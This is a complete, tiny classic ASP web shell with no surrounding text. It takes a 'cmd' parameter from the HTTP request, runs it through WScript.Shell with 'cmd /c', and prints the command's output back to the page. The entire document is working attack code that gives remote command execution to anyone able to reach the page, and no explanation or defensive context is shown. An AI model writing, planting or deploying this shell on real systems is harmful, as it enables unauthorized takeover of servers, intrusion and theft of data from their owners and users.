<% If Request("cmd") <> "" Then Dim cmd, output cmd = Request("cmd") Set shell = CreateObject("WScript.Shell") Set exec = shell.Exec("cmd /c " & cmd) output = exec.StdOut.ReadAll() Response.Write "

" & Server.HTMLEncode(output) & "

" End If %>